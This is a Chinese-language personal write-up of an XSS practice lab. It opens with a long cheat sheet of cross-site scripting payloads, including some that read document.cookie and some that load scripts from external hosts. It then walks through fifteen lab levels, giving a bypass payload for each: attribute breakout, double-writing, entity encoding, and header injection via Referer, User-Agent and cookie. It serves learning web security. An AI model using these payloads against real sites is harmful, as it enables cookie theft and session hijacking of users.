XSS小靶场
<script>alert('hello,gaga!');</script> //经典语句,哈哈!
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert("Vulnerable")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java" script.:alert("XSS")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE=" expression(alert('XSS'));">
<STYLE>@import'javasc
ipt:alert("XSS")';</STYLE>
<IMG STYLE='xss:expression(alert("XSS"))'>
第一关 无过滤
第二关 htmlspecialchars过滤双引号
值设置为变量,并且用htmlspecialchars($str)过滤,htmlspecialchars介绍如下
过滤了> < 可以使用onclick弹窗,闭合双引号
payload:
" onclick=alert('xss')//
第三关 htmlspecialchars过滤单引号
和第二关差不多,先试一下第二关的payload
失败
尝试闭合单引号
' onclick=alert('xss')//
第四关 htmlspecialchars过滤双引号
在第2关的基础上,过滤了尖括号,但是直接在``标签中构造闭合双引号来构造事件来触发并用不到引号,所以第2关的payload依然适用
' onclick=alert('xss')//
第五关 javascript:alert()使用 过滤on
on
是很多事件都包含的关键词,所以这里无法直接通过闭合引号在``标签中来触发弹窗了,这个可以闭合双引号和标签,然后通过javascript:alert('XSS')
这种形式来触发弹窗,使用链接弹窗
"><a href=javascript:alert('XSS') //
第六关 未过滤大小写strtolower()
过滤挺多的,但是没有进行大小写过滤strtolower(),onclick,href都可以
" Onclick=alert('XSS') //
"><a Href=javascript:alert('XSS') //
第七关 未过滤双写
第六关的基础上过滤大小写,这里可以使用双写绕过
" oonnclick=alert('XSS') //
"><a hrehreff=javascscriptript:alert('XSS') //
第八关 HTML编码绕过
这里的过滤规则很完善,基本上都过滤掉了可能触发弹窗的一些字符串。同时有2个输出,一个输出在了标签中,并且通过
htmlspecialchars($str)函数实体化后输出来,这里基本上是凉凉了。看第2个输出,是在
标签中,而且没有过滤,直接输出在了双引号"
之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的payload HTML使用HTML实体字符编码绕过,有因为直接输出在了href
的属性里面,所以可以尝试javascript()
这种形式来触发弹窗
javascrip	t:alert('XSS') //
第九关 过滤http
在第八关基础上,过滤http,绕过简单
strpos(): 查找 "php" 在字符串中第一次出现的位置,意思就是没有找到匹配的,就返回链接不合法,所以需要加一个http://
javascrip	t:alert('XSS') //http://
第十关 覆盖元素属性
可以看出这里keyword变量依然没戏,被HTML实体化输出了出来,所以重点放在t_sort变量上,只过滤了尖括号,然后就直接输出到了标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的标签使用了type="hidden"将输入框隐藏了起来,可以手动赋值type的值来覆盖掉先前的属性来达到显示文本框的目的。
http://127.0.0.1/xss/level10.php?t_link=&t_history=&t_sort=%22%20type=%22%22%20onclick=alert(%27XSS%27)%20//
第十一关 http refer绕过
str 和 str00无望,重点是str33,是$str11=$_SERVER['HTTP_REFERER'];得到的,可以使用http refer插入
Referer: " type="" onclick=alert('XSS') //
第十二关 user-agent绕过
和上一关差不多,一样的操作
User-Agent: " type="" onclick=alert('XSS') //
第十三关 cookie绕过
一样的操作,插入cookie
cookie:user=lucy" type="" onclick=alert('XSS') //
第十四关 ng-include
学习ng-include:https://www.runoob.com/angularjs/ng-ng-include.html
ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下
http://127.0.0.1/xss/level14.php?src=%22127.0.0.1/xss/level1.php?name=%3Cimg%20src=x%20onerror=alert(%27xss%27)%3E%22
未能成功,不知道原因,后续再研究
第十五关 过滤空格
可以使用如下代替空格
level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>
第一个xss靶场到此结束,记录一下,现在感觉学起来,有太多的知识模棱两可,需要静下心,慢慢来,比较快